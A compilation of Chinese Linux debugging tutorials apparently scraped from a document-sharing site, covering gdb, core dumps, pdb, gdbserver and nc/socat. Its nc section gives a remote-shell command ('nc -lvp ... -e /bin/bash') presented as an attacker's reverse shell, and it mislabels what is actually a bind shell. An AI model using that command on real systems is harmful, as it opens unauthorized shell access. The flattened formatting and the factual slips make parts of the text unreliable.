linux环境下的调试命令
- 格式:doc
- 大小:36.50 KB
- 文档页数:4
Linux下⽤gdb调试、查看代码堆栈Linux中⽤gdb 查看代码堆栈的信息core dump ⼀般是在segmentation fault(段错误)的情况下产⽣的⽂件,需要通过ulimit来设置才会得到的。
调试的话输⼊: gdb filename corefilename就是产⽣core⽂件的可执⾏⽂件,core就是产⽣的dump⽂件查看栈信息—————当程序被停住了,你需要做的第⼀件事就是查看程序是在哪⾥停住的。
当你的程序调⽤了⼀个函数,函数的地址,函数参数,函数内的局部变量都会被压⼊“栈”(Stack)中。
你可以⽤GDB命令来查看当前的栈中的信息。
下⾯是⼀些查看函数调⽤栈信息的GDB命令:backtracebt打印当前的函数调⽤栈的所有信息。
如:(gdb) bt#0 func (n=250) at tst.c:6#1 0x08048524 in main (argc=1, argv=0xbffff674) at tst.c:30#2 0x400409ed in __libc_start_main () from /lib/libc.so.6从上可以看出函数的调⽤栈信息:__libc_start_main --> main()--> func()backtracebtn是⼀个正整数,表⽰只打印栈顶上n层的栈信息。
backtrace <-n>bt <-n>-n表⼀个负整数,表⽰只打印栈底下n层的栈信息。
如果你要查看某⼀层的信息,你需要在切换当前的栈,⼀般来说,程序停⽌时,最顶层的栈就是当前栈,如果你要查看栈下⾯层的详细信息,⾸先要做的是切换当前栈。
framefn是⼀个从0开始的整数,是栈中的层编号。
⽐如:frame 0,表⽰栈顶,frame 1,表⽰栈的第⼆层。
up表⽰向栈的上⾯移动n层,可以不打n,表⽰向上移动⼀层。
down表⽰向栈的下⾯移动n层,可以不打n,表⽰向下移动⼀层。
Linux调试⼯具1. 使⽤printf调试#ifdef DEBUGPrintf(“valriable x has value = %d\n”, x)#endif然后在编译选项中加⼊-DDEBUG更复杂的调试应⽤如:#define BASIC_DEBUG 1#define EXTRA_DEBUG 2#define SUPER_DEBUG 4#if (DEBUG &EXTRA_DEBUG)printf …#endif在这种情况下如果设置编译器标志为-DDEBUG=5,将启⽤BASIC_DEBUG和SUPER_DEBUG。
标志-DDEBUG=0将禁⽤所有的调试信息,也可以在程序中添加如下语句:#ifndef DEBUG#define DEBUG 0#endif2.使⽤gdb调试Gcc编译的时候要加上-g选项,让编译器在程序中添加额外的调试信息。
如果正式发布,这些调试信息可以使⽤strip命令删除。
Gdb:Backtrace栈跟踪3. 程序静态分析⼯具splintsplint功能:常识性测试并产⽣⼀些警告信息。
它可以检测未经赋值的变量使⽤,函数的参数未使⽤等异常情况。
4. 程序执⾏性能分析⼯具prof/gprof显⽰执⾏所花费的时间具体都⽤在什么操作上。
5. 内存调试ElectricFence函数库和valgrind可以⽤来检查动态内存分配的⼀些问题,包括内存泄漏。
Linux下的调试⼯具随着XP的流⾏,⼈们越来越注重软件的前期设计、后期的实现,以及贯穿于其中的测试⼯作,经过这个过程出来的⾃然是⾼质量的软件。
甚⾄有⼈声称XP会淘汰调试器!这当然是有⼀定道理的,然⽽就⽬前的现实来看,这还是⼀种理想。
在⽇常⼯作中,调试⼯具还是必不可少的。
在Linux下,调试⼯具并⾮只有gdb,还有很多其它调试⼯具,它们都各有所长,侧重⽅⾯也有所不同。
本⽂介绍⼏种笔者常⽤的调试⼯具:1. mtrace在linux下开发应⽤程序,⽤C/C++语⾔的居多。
linux 调试手段Linux调试是在Linux操作系统中排查和修复问题的过程。
它是一种有力的工具,用于定位和解决软件和硬件问题。
下面将介绍一些常见的Linux调试手段。
我们可以使用日志文件来进行调试。
Linux系统会自动记录各种系统事件和错误信息到日志文件中,我们可以通过查看这些日志文件来了解系统的运行情况。
常见的日志文件包括/var/log/messages、/var/log/syslog等。
通过分析日志文件中的错误信息,我们可以找到问题的根源。
使用命令行工具也是调试Linux问题的常用手段之一。
例如,我们可以使用ps命令查看正在运行的进程,top命令查看系统的资源占用情况,lsof命令查看文件被哪些进程打开等等。
这些命令可以帮助我们了解系统的运行状态,从而找到问题所在。
使用调试器也是解决Linux问题的重要手段。
调试器可以帮助我们跟踪程序的执行过程,查看变量的值,定位代码的问题。
常见的调试器有gdb、strace、ltrace等。
通过在调试器中设置断点、观察变量的值,我们可以逐步分析程序的执行过程,找到问题的所在。
还有一些其他的调试手段,如使用网络调试工具。
我们可以使用ping命令来测试网络连接是否正常,使用nc命令来测试网络服务是否可用。
此外,使用tcpdump命令可以抓包分析网络数据,帮助我们找到网络问题的根源。
Linux调试手段多种多样,我们可以根据具体情况选择合适的工具和方法进行调试。
通过日志文件、命令行工具、调试器和网络调试工具等,我们可以查找和解决各种问题,保证系统的正常运行。
调试过程需要耐心和细心,但通过不断的学习和实践,我们可以不断提高调试的能力,更好地解决问题。
Linux命令高级技巧使用nc和socat进行网络调试和转发在Linux系统中,运维或网络工程师经常需要进行网络调试和转发,以确保网络连接正常并解决问题。
而nc(netcat)和socat是两个非常强大的命令行工具,它们可以帮助我们进行各种网络调试和转发的操作。
本文将介绍如何使用nc和socat这两个命令进行高级网络调试和转发。
一、使用nc进行网络调试和转发1. nc的基本使用nc是一个用于建立TCP/UDP连接、发送和接收数据的工具。
它的基本使用格式如下:```nc [options] host port```其中,host代表目标主机的IP地址或域名,port代表目标主机的端口号。
要建立一个TCP连接并发送数据到目标主机的特定端口可以这样使用nc命令:```echo "Hello World" | nc host port这将在终端上显示"Hello World",并将其发送到目标主机和端口。
2. 使用nc进行端口扫描nc还可以用于进行端口扫描,以确定目标主机上哪些端口处于打开状态。
以下是进行端口扫描的命令示例:```nc -zv host startport-endport```其中,host代表目标主机的IP地址或域名,startport和endport代表端口范围的起始和结束端口。
3. 使用nc进行反向shellnc还可以用于建立反向shell连接,即在目标主机上监听并等待连接,一旦有连接请求,就建立一个shell会话。
以下是建立反向shell连接的命令示例:在目标主机上执行:```nc -lvp listenport -e /bin/bash```在攻击者主机上执行:nc targetIP listenport```这将在目标主机上打开一个shell,攻击者可以通过这个shell与目标主机进行交互。
二、使用socat进行网络调试和转发socat是一个功能强大的网络工具,它可以建立各种类型的连接,并提供了更多的高级功能。
linux下gdb单步调试(上)2008-12-06 21:12用 GDB 调试程序GDB 概述————GDB 是 GNU 开源组织发布的一个强大的 UNIX 下的程序调试工具。
或许,各位比较喜欢那种图形界面方式的,像 VC 、 BCB 等 IDE 的调试,但如果你是在UNIX 平台下做软件,你会发现 GDB 这个调试工具有比 VC 、 BCB 的图形化调试器更强大的功能。
所谓“ 寸有所长,尺有所短” 就是这个道理。
一般来说, GDB 主要帮忙你完成下面四个方面的功能:1 、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。
2 、可让被调试的程序在你所指定的调置的断点处停住。
(断点可以是条件表达式)3 、当程序被停住时,可以检查此时你的程序中所发生的事。
4 、动态的改变你程序的执行环境。
从上面看来, GDB 和一般的调试工具没有什么两样,基本上也是完成这些功能,不过在细节上,你会发现 GDB 这个调试工具的强大,大家可能比较习惯了图形化的调试工具,但有时候,命令行的调试工具却有着图形化工具所不能完成的功能。
让我们一一看来。
一个调试示例——————源程序: tst.c1 #include <stdio.h>23 int func(int n)4 {5 int sum=0,i;6 for(i=0; i<n; i++)7 {8 sum+=i;9 }10 return sum;11 }121315 {16 int i;17 long result = 0;18 for(i=1; i<=100; i++)19 {20 result += i;21 }2223 printf("result[1-100] = %d \n", result );24 printf("result[1-250] = %d \n", func(250) );25 }编译生成执行文件:( Linux 下)hchen/test> cc -g tst.c -o tst使用 GDB 调试:hchen/test> gdb tst <---------- 启动 GDBGNU gdb 5.1.1Copyright 2002 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux"...(gdb) l <-------------------- l 命令相当于 list ,从第一行开始例出原码。
Linux环境下调试python代码----pdb模块1. 背景:window环境可以使⽤pycharm类似的IDE⼯具debug调试代码,
但是在Linux环境下可以使⽤pdb模块提⾼开发效率
使⽤⽅式:
2.在代码中导⼊pdb模块
import pdb
功能:断点设置,单步执⾏,查看代码,查看函数,追踪变量等
pdb.set_trace()
功能:设置初始断点,开始进⼊pdb调试模式
3.调试中的命令
next, n 单步执⾏
step, s 进⼊函数单步执⾏
up , u 执⾏跳转到当前堆栈的上⼀层
return, r 执⾏当前运⾏函数到结束
args, a 列出当前执⾏函数的函数
break , b 设置断点
where, w 打印当前执⾏堆栈
unitl, unt 执⾏到下⼀⾏(跳出循环),或者当前堆栈结束
continue ,c 继续执⾏
list , l 查看当前代码段
pp 打印变量值
q 退出调试
exit 退出pdb调试。
Linux应⽤调试使⽤gdb和gdbserver命令详解1.gdb和gdbserver调试原理通过linux虚拟机⾥的gdb,来向开发板⾥的gdbserver发送命令,⽐如设置断点,运⾏setp等,然后开发板上的gdbserver收到命令后,便会执⾏应⽤程序做相应的动作,来实现调试的功能和之前学的裸板GDB调试⼀样,只不过之前学的是在win下的,本次是在linux⾥的gdb1.1同样,它们都会需要⼀个带调试信息的编译⽂件.通过Makefile⾥的arm-linux-gcc -g 来的, -g:表⽰编译⽂件⾥包含gdb调试信息1.2为什么需要调试信息的编译⽂件?⽐如读开发板的应⽤程序⾥的变量a:⾸先gdb通过应⽤程序的带调试信息的编译⽂件,来找出变量a存的地址位置然后将地址发送给开发板⾥的gdbserver,来读出a地址的值2.安装gdb和gdbserver2.1在虚拟机上安装GDB: # tar xjf gdb-7.4.tar.bz2 //解压# cd gdb-7.4/ //进⼊gdb-7.4⽬录#./configure --target=arm-linux//GDB需要在pc本机⾥运⾏,并调试开发板⾥的应⽤程序,所以--target设为arm-linux#make //编译#mkdir tmp#make install prefix=$PWD/tmp //安装到./tmp⽬录下sudo cp tmp/bin/arm-linux-gdb /bin/ //复制到/bin⽬录下/bin/arm-linux-gdb -v //-v: 确定⼀下gdb的版本VID,是否是7.42.2 在开发板上安装GDBServer:cd gdb/gdbserver/ //在gdb-7.4⽬录下输⼊./configure --target=arm-linux --host=arm-linux //设GDBServer的⼯作环境make //编译出现以下错误:指在linux-arm-low.c⾥,没有找到PTRACE_GETSIGINFO 定义2.3 解决:1)#echo $PATH //来查看PATH环境变量找到编译器gcc位于/work/tools/gcc-3.4.5-glibc-2.3.6/bin2)#cd /work/tools/gcc-3.4.5-glibc-2.3.6/ # grep "PTRACE_GETSIGINFO" * -nR在gcc根⽬录下,搜索到在linux/ptrace.h中定义:3)#vi linux-arm-low.c添加: #define PTRACE_GETSIGINFO 0x42024)最后重新make,⽣成gdbserver命令⽂件然后将gdbserver命令⽂件,放⼊我们开发板的根⽬录/bin中,便能使⽤了cp gdbserver /nfs_root/bin/ //nfs_root:开发板的nfs系统根⽬录3.测试程序如下(test_debug.c)#include <stdio.h>void C(int *p){ *p = 0x12;}void B(int *p){ C(p);}void A(int *p){ B(p);}void A2(int *p){ C(p);}int main(int argc, char **argv){ int a; int *p = NULL; A2(&a); // A2 > C printf("a = 0x%x\n", a); A(p); // A > B > C return 0;}其中A2(&a)会调⽤A2()->C(),然后将a赋值为0x12.A(p)会调⽤A()->B()->C(),由于p是个空指针,这⾥将会出错.接下来,我们便以这个应⽤程序为例.4.编译#arm-linux-gcc -g -o test_debug test_debug.c //-g:附带调试信息5.调试test_debug.c在开发板上:⾸先,需要让gdbserver建⽴本地服务器,以及要测试的哪个⽂件:#gdbserver 192.168.2.107:2345 ./test_debug//192.168.2.107:本地IP地址//2345:端⼝号,⽤来让gdb来连接⽤的//./test_debug:要测试的哪个⽂件在虚拟机上:#/bin/arm-linux-gdb ./test_debug // 启动gdb,指定调试⽂件为test_debug#target remote 192.168.2.107:2345 //与gdbserver建⽴连接5.1连接成功,便使⽤gdb命令来调试列出所有源代码break [file]:[row]打断点,⽐如:break test_debug.c:21 //在test_debug.c⽂件的第21⾏处打断点info br查看断点info file列出当前的⽂件,共享库。
如何在Linux终端中调试程序在Linux系统中,终端是开发者和系统管理员经常使用的重要工具。
通过终端,我们可以执行各种命令和操作,包括程序的编译、运行和调试。
本文将介绍在Linux终端中如何进行程序调试的方法和技巧。
一、安装调试工具要在Linux终端中进行程序调试,首先需要安装相应的调试工具。
常用的调试工具包括GDB (GNU调试器)和LLDB (LLVM调试器)。
这两个工具都是开源的,可以通过包管理器来安装。
1. 使用GDB进行程序调试GDB是Linux中最常用的调试工具之一。
下面是GDB的安装方法:```$ sudo apt-get install gdb```安装完成后,可以通过以下命令来验证安装是否成功:```$ gdb --version```2. 使用LLDB进行程序调试LLDB是一个高级的调试工具,它可以用于多种编程语言,包括C、C++和Objective-C。
下面是LLDB的安装方法:```$ sudo apt-get install lldb```安装完成后,可以通过以下命令来验证安装是否成功:```$ lldb --version```二、编译程序时的调试选项在Linux终端中调试程序时,为了方便跟踪问题和定位错误,可以在编译程序时添加调试选项。
常用的调试选项包括-g(生成调试信息)、-Wall(显示警告信息)和-O0(禁用优化)。
例如,使用gcc编译C程序时可以使用以下命令:```$ gcc -g -Wall -O0 program.c -o program```三、使用GDB进行程序调试1. 启动GDB调试器通过以下命令启动GDB调试器,并加载需要调试的程序:```$ gdb program```2. 设置断点在GDB中,可以使用break命令设置断点,以便在程序执行到指定位置时暂停。
例如,要在函数的第10行设置断点,可以使用以下命令:```(gdb) break 10```3. 执行程序使用run命令执行程序,并在断点处停止:```(gdb) run```4. 调试程序一旦程序在断点处停止,可以使用以下命令进行调试:- 继续执行:使用continue命令继续执行程序。
Linux下core⽂件调试⽅法在程序不寻常退出时,内核会在当前⼯作⽬录下⽣成⼀个core⽂件(是⼀个内存映像,同时加上调试信息)。
使⽤gdb来查看core⽂件,可以指⽰出导致程序出错的代码所在⽂件和⾏数。
1.core⽂件的⽣成开关和⼤⼩限制(1)使⽤ulimit -c命令可查看core⽂件的⽣成开关。
若结果为0,则表⽰关闭了此功能,不会⽣成core⽂件。
通过上⾯的命令修改后,⼀般都只是对当前会话起作⽤,当你下次重新登录后,还是要重新输⼊上⾯的命令,所以很⿇烦。
我们可以把通过修改 /etc/profile⽂件来使系统每次⾃动打开。
步骤如下:1.⾸先打开/etc/profile⽂件⼀般都可以在⽂件中找到这句语句:ulimit -S -c 0 > /dev/null 2>&1.ok,根据上⾯的例⼦,我们只要把那个0 改为 unlimited 就ok了。
然后保存退出。
2.通过source /etc/profile 使当期设置⽣效。
3.通过ulimit -c 查看下是否已经打开。
其实不光这个命令可以加⼊到/etc/profile⽂件中,⼀些其他我们需要每次登录都⽣效的都可以加⼊到此⽂件中,因为登录时linux都会加载此⽂件。
⽐如⼀些环境变量的设置。
还有⼀种⽅法可以通过修改/etc/security/limits.conf⽂件来设置,⾸先以root权限登陆,然后打开/etc/security/limits.conf⽂件,进⾏配置:#vim /etc/security/limits.conf<domain> <type> <item> <value>* soft core unlimited(2)使⽤ulimit -c filesize命令,可以限制core⽂件的⼤⼩(filesize的单位为kbyte)。
若ulimit -c unlimited,则表⽰core⽂件的⼤⼩不受限制。
Linux命令行中的环境变量调试和问题排查技巧在Linux命令行中进行环境变量调试和问题排查是日常工作中必不可少的技能。
本文将介绍一些常用的技巧和方法,帮助你更好地处理环境变量相关的问题。
环境变量是操作系统中存储配置信息的一种机制,它对于程序的运行和系统的正常操作非常重要。
当环境变量出现问题时,可能会导致程序无法正常工作或者系统出现异常。
因此,了解如何调试和排查环境变量问题是非常重要的。
本文将从以下几个方面介绍环境变量调试和问题排查的技巧:1. 查看环境变量要想了解当前系统的环境变量配置,可以使用以下命令:```shell$ printenv```该命令将列出当前系统的所有环境变量及其对应的值。
通过查看环境变量,可以快速了解当前系统的配置情况。
2. 设置环境变量有时候,我们需要在命令行中临时设置一个环境变量,以便临时修改系统的配置。
可以使用以下命令来设置环境变量:```shell$ export VAR_NAME=value```其中,VAR_NAME为环境变量名,value为变量的值。
通过设置环境变量,可以临时修改系统的配置,方便问题排查和调试。
3. 调试脚本中的环境变量在Shell脚本中,经常会使用到环境变量。
当脚本出现问题时,有时候需要查看脚本中的环境变量值,以便定位问题。
可以使用以下命令来调试脚本中的环境变量:```shell$ sh -x script.sh```该命令将以调试模式执行脚本,并将脚本中每个命令的执行结果打印出来。
通过查看脚本中的环境变量值,可以快速定位问题所在。
4. 检查环境变量路径有时候,某些程序或命令在执行过程中会依赖于特定的环境变量路径。
如果环境变量路径设置不正确,可能会导致程序无法找到所需的资源或者依赖。
为了排查此类问题,可以使用以下命令检查环境变量路径:```shell$ echo $PATH```该命令将打印出当前系统的PATH环境变量值,即执行命令时系统会在哪些路径下寻找可执行文件。
linux outputdebugstring用法一、引言OutputDebugString 是 Windows 操作系统中用于调试的一种方法,而在 Linux 系统中,虽然没有直接的 OutputDebugString 函数,但我们可以使用其他方法来实现类似的功能。
本文将介绍在Linux 系统中如何使用类似的机制来输出调试信息。
二、使用方法1. 使用 echo 命令输出调试信息:在终端中,可以使用 echo 命令将调试信息输出到终端。
例如,要输出字符串 "Debug information" 到终端,可以使用以下命令:`echo "Debug information"`。
2. 使用 printf 命令输出调试信息:printf 命令在 Linux 中常用于格式化输出。
与 echo 命令类似,可以使用 printf 命令输出调试信息。
例如,要输出字符串 "Debug information" 到终端,可以使用以下命令:`printf "Debug information"`。
3. 使用重定向符号输出调试信息:在 Linux 中,可以使用重定向符号(>、>>)将输出重定向到文件中。
通过将调试信息重定向到一个文件中,可以在需要时查看和分析调试信息。
例如,要将调试信息输出到一个名为 debug.log 的文件中,可以使用以下命令:`echo "Debug information" > debug.log`。
4. 使用终端的内置调试功能:在终端中,可以使用一些内置的调试功能,如使用 set 命令查看环境变量和配置文件,使用echo_after_prompt 参数控制是否在命令提示符下显示输出等。
这些功能可以帮助开发人员更好地理解终端的行为和配置。
三、注意事项1. 调试信息的格式和内容:在输出调试信息时,应确保信息的格式和内容清晰、易于理解。
linux sqlite3调试方法【原创实用版3篇】篇1 目录1.介绍 SQLite32.Linux 下 SQLite3 的调试方法3.实际操作示例篇1正文一、介绍 SQLite3SQLite3 是一款轻量级的数据库管理系统,它的设计目标是提供一种嵌入式的、自给自足的数据库系统。
SQLite3 采用 C 语言编写,具有易于使用、高效、可靠、跨平台等特点。
由于其体积小、速度快,SQLite3 被广泛应用于各种应用程序和场景中,如桌面应用、Web 应用、移动应用等。
二、Linux 下 SQLite3 的调试方法在 Linux 环境下,要对 SQLite3 进行调试,我们可以使用以下方法:1.利用 SQLite3 命令行工具SQLite3 提供了命令行工具,可以直接在终端中输入 SQL 语句进行调试。
例如,我们可以创建一个名为“test.db”的数据库,并创建一个表:```sqlite3 test.db``````CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT, age INTEGER);```然后,我们可以插入数据:```INSERT INTO users (name, age) VALUES ("张三", 25);INSERT INTO users (name, age) VALUES ("李四", 30);```接下来,我们可以查询数据:```SELECT * FROM users;```通过这种方式,我们可以实时查看 SQLite3 数据库的操作结果,从而进行调试。
2.利用 Python 调试Python 是一种广泛使用的编程语言,可以通过 Python 库对SQLite3 进行调试。
例如,我们可以使用`sqlite3`库:```pythonimport sqlite3conn = sqlite3.connect("test.db")cursor = conn.cursor()# 创建表cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT, age INTEGER)")# 插入数据cursor.execute("INSERT INTO users (name, age) VALUES (?,?)", ("张三", 25))cursor.execute("INSERT INTO users (name, age) VALUES (?,?)", ("李四", 30))# 查询数据cursor.execute("SELECT * FROM users")result = cursor.fetchall()# 打印查询结果for row in result:print(row)# 关闭连接cursor.close()conn.close()```通过以上 Python 代码,我们可以完成对 SQLite3 数据库的创建、插入、查询等操作,实现调试功能。
常用Linux系统Debug命令常用Linux系统Debug命令命令系统,是一种计算机代码控制系统。
常用Linux系统Debug 命令有哪些呢?下面是相关的知识,欢迎阅读。
1、查看TCP连接状态netstat -nat |awk '{print $6}'|sort|uniq -c|sort -rnnetstat -n | awk '/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}'netstat -n | awk '/^tcp/ {++state[$NF]}; END {for(key in state) print key," ",state[key]}'netstat -n | awk '/^tcp/ {++arr[$NF]};END {for(k in arr) print k," ",arr[k]}'netstat -n |awk '/^tcp/ {print $NF}'|sort|uniq -c|sort -rnnetstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c netstat -nat |awk '{print $6}'|sort|uniq -c|sort -rnnetstat -n | awk '/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}'netstat -n | awk '/^tcp/ {++state[$NF]}; END {for(key in state) print key," ",state[key]}'netstat -n | awk '/^tcp/ {++arr[$NF]};END {for(k in arr) print k," ",arr[k]}'netstat -n |awk '/^tcp/ {print $NF}'|sort|uniq -c|sort -rnnetstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c2、查找请求80端口最多的20个IP连接netstat -anlp|grep 80|grep tcp|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -nr|head -n20netstat -ant |awk '/:80/{split($5,ip,":");++A[ip[1]]}END{for(i in A) print A,i}' |sort -rn|head -n20tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F"." '{print$1"."$2"."$3"."$4}' | sort | uniq -c | sort -nr |head -n 203、查找较多time_wait连接netstat -n|grep TIME_WAIT|awk '{print $5}'|sort|uniq -c|sort -rn|head -n204、找查较多的SYN连接netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more5、根据端口列进程netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f16、获取Web访问前10位的'ip地址cat access.log|awk '{print $1}'|sort|uniq -c|sort -nr|head -n 10 cat access.log|awk '{counts[$(11)]+=1}; END {for(url in counts) print counts[url], url}'7、访问次数最多的文件或页面,取前20cat access.log|awk '{print $11}'|sort|uniq -c|sort -nr|head -n 208、列出传输最大的几个rar文件cat access.log|awk '{print $11}'|sort|uniq -c|sort -nr|head -n 209、列出输出大于200000byte(约200kb)的rar文件以及对应文件发生次数cat access.log |awk '($10 > 200000 && $7~/.rar/){print $7}'|sort -n|uniq -c|sort -nr|head -n 10010、如果日志最后一列记录的是页面文件传输时间,则有列出到客户端最耗时的页面cat access.log |awk '($7~/.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -n 100cat access.log |awk '($7~/.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -n 10011、列出最最耗时的页面(超过60秒的)的以及对应页面发生次数cat access.log |awk '($NF > 60 && $7~/.php/){print $7}'|sort -n|uniq -c|sort -nr|head -n 10012、列出传输时间超过 30 秒的文件cat access.log |awk '($NF > 30){print $7}'|sort -n|uniq -c|sort -nr|head -n 2013、统计网站流量(G)cat access.log |awk '{sum+=$10} END {print sum/1024/1024/1024}'14、统计404的连接awk '($9 ~/404/)' access.log | awk '{print $9,$7}' | sort15、统计http statuscat access.log |awk '{counts[$(9)]+=1}; END {for(code in counts) print code, counts[code]}'cat access.log |awk '{print $9}'|sort|uniq -c|sort -rn16、查看是哪些爬虫在抓取内容tcpdump -i eth0 -l -s 0 -w - dst port 80 | strings | grep -i user-agent | grep -i -E 'bot|crawler|slurp|spider'17、查看数据库执行的sql语句tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | egrep -i 'SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREAT E|DROP|ALTER|CALL'18、按域统计流量zcat squid_access.log.tar.gz| awk '{print $10,$7}' |awk 'BEGIN{FS="[ /]"}{trfc[$4]+=$1}END{for(domain in trfc){printf "%s %d ",domain,trfc[domain]}}'19、调试命令strace -p pid20、磁盘性能iostat -x 1 10【常用Linux系统Debug命令】。
Linux中包含有一个很有用的调试工具--gdb(GNU Debuger),它可以用来调试C和C++程序,功能不亚于Windows下的许多图形界面的调试工具。
和所有常用的调试工具一样,gdb提供了以下功能:# 监视程序中变量的值# 在程序中设置断点# 程序的单步执行在使用gdb前,必须先载入可执行文件,因为要进行调试,文件中就必须包含调试信息,所以在用gcc或cc编译时就需要用-g参数来打开程序的调试选项。
调试开始时,必须先载入要进行调试的程序,可以用以下两种方式:* 在启动gdb后执行以下命令:file 可执行文件路径* 在gdb启动时就载入程序:gdb 可执行文件路径载入程序后,接下来就是要进行断点的设置,要监视的变量的添加等工作,下面对在这个过程中常会用到的命令逐一进行介绍:* list:显示程序中的代码,常用使用格式有:list输出从上次调用list命令开始往后的10行程序代码。
list -输出从上次调用list命令开始往前的10行程序代码。
list n输出第n行附近的10行程序代码。
list function输出函数function前后的10行程序代码。
* forward/search:从当前行向后查找匹配某个字符串的程序行。
使用格式:forward/search 字符串查找到的行号将保存在$_变量中,可以用print $_命令来查看。
* reverse-search:和forward/search相反,向前查找字符串。
使用格式同上。
* break:在程序中设置断点,当程序运行到指定行上时,会暂停执行。
使用格式:break 要设置断点的行号* tbreak:设置临时断点,在设置之后只起作用一次。
使用格式:tbreak 要设置临时断点的行号* clear:和break相反,clear用于清除断点。
使用格式:clear 要清除的断点所在的行号* run:启动程序,在run后面带上参数可以传递给正在调试的程序。
Linux命令高级技巧使用nc命令进行网络调试与测试Linux命令高级技巧:使用nc命令进行网络调试与测试在Linux系统中,nc(netcat)是一个功能强大的网络工具,它可以被用来创建 TCP/IP 连接、发送数据,以及进行网络调试和测试。
本文将介绍如何使用nc命令进行网络调试与测试,并分享一些高级技巧。
一、nc命令简介nc命令是Linux系统中的一个工具,可以用来建立连接、监听端口和传输数据等。
它可以用作简单的TCP/IP应用程序,也可以作为调试和测试工具使用。
二、使用nc命令建立TCP连接在使用nc命令建立TCP连接之前,我们需要明确两个概念:客户端和服务器端。
客户端发起连接请求,服务器端响应连接请求并接受连接。
使用nc命令可以在Linux系统上实现这两个角色。
1. 建立客户端连接要建立一个客户端连接,可以使用以下命令:```shellnc <服务器IP地址> <服务器端口号>```例如,要连接到IP地址为192.168.0.100的服务器的端口号8080,可以使用以下命令:```shellnc 192.168.0.100 8080```连接成功后,你可以向服务器发送数据。
2. 建立服务器连接要建立一个服务器连接,可以使用以下命令:```shellnc -l <监听端口号>```例如,要监听本地的端口号1234,可以使用以下命令:```shellnc -l 1234```当有客户端连接到该端口时,你可以接收来自客户端的数据。
三、使用nc命令进行网络调试与测试nc命令不仅可以用来建立连接,还可以用于网络调试和测试。
下面介绍一些常见的使用场景。
1. 端口扫描通过nc命令,你可以扫描一个主机的指定端口是否开放。
使用以下命令:```shellnc -zv <主机IP地址> <起始端口号>-<结束端口号>```例如,要扫描192.168.0.100主机上8080到8090的端口,可以使用以下命令:```shellnc -zv 192.168.0.100 8080-8090```这将显示哪些端口处于活动状态。
高级进程调试Linux命令之strace与gdb 在Linux环境下,调试应用程序是一个非常重要的技能。
为了解决问题和优化性能,开发人员需要深入了解进程的行为和运行情况。
幸运的是,Linux提供了一些非常有用的工具来帮助我们进行进程调试,其中两个比较常用的工具是strace和gdb。
一、strace命令strace是一个非常强大的命令行工具,可以用来跟踪进程的系统调用和信号。
当我们需要了解进程在运行中发生了什么,或者当我们遇到一些异常行为时,strace可以帮助我们追踪进程的执行情况,找到问题所在。
使用strace非常简单,只需在命令行中输入"strace"加上需要调试的命令,就可以开始跟踪该命令的系统调用。
strace会输出进程执行过程中所有的系统调用,例如文件读写、网络通信等。
通过分析strace的输出,我们可以了解进程的行为,以及可能出现的问题。
除了默认的系统调用,strace还提供了一些选项来帮助我们更详细地跟踪进程的行为。
例如,使用"-c"选项可以统计系统调用的次数,并按照类型进行分类。
使用"-p"选项可以跟踪一个已经运行的进程,而不是新启动一个进程。
二、gdb命令gdb是一个功能强大的调试器,可以用来追踪和调试C/C++程序。
与strace不同,gdb提供了更高级和更全面的调试功能,包括断点调试、变量监视、内存查看等。
使用gdb调试程序需要一些基本的命令。
首先,我们需要编译程序时加上“-g”选项,以便在生成的可执行文件中包含调试信息。
然后,在命令行中输入"gdb"加上可执行文件名,就可以启动gdb调试器。
一旦进入gdb调试器,我们就可以使用一系列命令来控制程序的执行和观察程序的状态。
例如,使用"break"命令可以设置断点,当程序执行到某个位置时停下来。
使用"run"命令可以让程序开始执行。
Linux下GDB调试命令_1
2008-11-21 18:39
GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具,不过现在在Linux下也可以用了。
它使你能在程序运行时观察程和内存的使用情况。
Linux不比Windows,没有那么多方便的图形界面方式的,像.Net、Eclipse等IDE的调试器。
但上天逼着我在Li 软件,用了一段时间,你会发现GDB这个调试工具一点不比其它的差,所谓“寸有所长,尺有所短”就是这个道理。
一般来说,我可以用GDB来:
∙加载程序
∙设置监视点、断点、入口条件等
∙动态的改变你程序的执行环境
∙单步调试、追踪
一、加载文件
启动GDB的方法有以下几种:
1、>gdb [exe]
2、>gdb pid [pid]
GDB启动时,可以加上一些GDB的启动开关,详细的开关可以用gdb -help查看。
我在下面只例举一些比较常用的参数:
-symbols
-s
从指定文件中读取符号表。
-se file
从指定文件中读取符号表信息,并把他用在可执行文件中。
-core
-c
调试时core dump的core文件。
-directory
-d
加入一个源文件的搜索路径。
默认搜索路径是环境变量中PATH所定义的路径。
二、运行命令
当以gdb 方式启动gdb后,gdb会在PATH路径和当前目录中搜索的源文件。
在gdb中,运行程序使用r或是run命令。
程序的运行,你有可能需要设置下面四方面的事。
1、程序运行参数。
set args 可指定运行时参数。
(如:set args 10 20 30 40 50)
show args 命令可以查看设置好的运行参数。
2、运行环境。
path
可设定程序的运行路径。
show paths 查看程序的运行路径。
set environment varname [=value] 设置环境变量。
如:set env USER=hchen
show environment [varname] 查看环境变量。
3、工作目录。
cd
相当于shell的cd命令。
pwd 显示当前的所在目录。
4、程序的输入输出。
info terminal 显示你程序用到的终端的模式。
使用重定向控制程序输出。
如:run > outfile
tty命令可以指写输入输出的终端设备。
如:tty /dev/ttyb
三、断线(break / b)
我们用break命令来设置断点。
正面有几点设置断点的方法:
>break +offset / break -offset 在当前行号的前面或后面的offset行停住。
offiset为自然数。
